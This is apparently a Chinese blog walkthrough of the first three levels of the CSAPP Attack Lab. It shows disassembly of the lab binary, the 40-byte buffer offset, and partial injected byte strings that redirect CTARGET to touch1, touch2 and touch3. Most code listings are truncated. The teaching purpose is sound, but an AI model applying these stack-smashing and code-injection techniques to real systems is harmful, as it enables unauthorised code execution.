重新做了一遍CSAPP里的Attack Lab~
CTARGET
For the first three phases, your exploit strings will attack CTARGET.
This program is set up in a way that the stack positions will be consistent from one run to the next and so that data on the stack can be treated as executable code. These features make the program vulnerable to attacks where the exploit strings contain the byte encodings of executable code.
1 | void test() |
1 | unsigned getbuf() |
Level 1
需要输入特定长度的字符串让getbuf()
在返回时将控制流转移到touch1()
反编译getbuf
:
1 | (lldb) disas -n getbuf |
可以看到在栈上分配了0x28的空间给Gets。因此只需要输入大小为0x28的Bytes就可以达到ret的地址。
0x28字节即是40字节🙄️
反编译touch1
:
1 | (lldb) disas -n touch1 |
得到touch1的地址0x4017c0
. 在x86-64上即为c01740000000000
.
所以构建的字符串为:
1 | 00 00 00 00 00 00 00 00 |
Level 2
Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case, however, you must make it appear to touch2 as if you have passed your cookie as its argument.
这个lab压缩包里的cookie为0x59b997fa
.
现需要将cookie传递给touch2()
,
既是覆盖掉%rdi
(存储第一个参数的寄存器)中的值并调用touch2()
.
可通过以下汇编指令达成:
1 | movq cookie, %rdi #将cookie的值赋给%rdi |
反汇编touch2()
:
1 | (lldb) disas -n touch2 |
得到地址为0x4017ec
.
填入得到汇编指令:
1 | movq $0x59b997fa, %rdi |
别忘了立即数前的$, gcc并不会报错🙄️
调用汇编器(as)得到字节码,再反汇编:
1 | $ gcc -c code.s |
显示如下:
1 | ./code.o: file format Mach-O 64-bit x86-64 |
因此可以通过这段字节码完成题目所给的要求。但还需要让机器执行此段代码,仿Level1,可让getbuf()
返回到此段代码的起始位置(即buf[BUFFER_SIZE]
的起始位置).
通过gdb设置断点来查看调用Gets之前栈指针的位置。
1 | $ gdb ./ctarget |
本机上进入getbuf()
时%rsp
的值为0x5561dc78
.
所以可以得到字符串为:
1 | 48 c7 c7 fa 97 b9 59 68 |
Level 3
Your task is to get CTARGET to execute the code for touch3 rather than returning to test. You must make it appear to touch3 as if you have passed a string representation of your cookie as its argument.
1 | int hexmatch(unsigned val, char *sval) |
类似前两题,同样是传递参数给新的函数。
传递的字符串为cookie,即0x59b997fa
1 | 35 39 62 39 39 37 66 61 |
可通过以下汇编指令达成:
1 | movq &string, %rdi #将字符串地址的值赋给%rdi |
反汇编得到touch3()
的地址0x4018fa
.
1 | (lldb) disas -n touch3 |
在调用touch3()
的时候,函数会继续调用hexmatch()
,因此得考虑字符串会不会被覆盖.
可以考虑把字符存进test()的栈帧中(反正也不会用到了
Address | Stack |
---|---|
0x5561dc78 + 0x28 +0x8 | 保存test()函数的状态 |
0x5561dc78 + 0x28 | 返回地址 |
0x5561dc78 | getbuf中开辟的buffer[]数组 |
保存getbuf()函数的状态 |
注意到栈向低地址方向生长
从Level 2中得到调用Gets之前栈指针0x5561dc78
,加上48个字节后为0x5561dca8
,即为想存储的字符串的地址。因此输入的汇编指令应为:
1 | movq $0x5561dca8, %rdi |
所以构建的输入流应该长这样:
1 | 48 c7 c7 a8 dc 61 55 68 |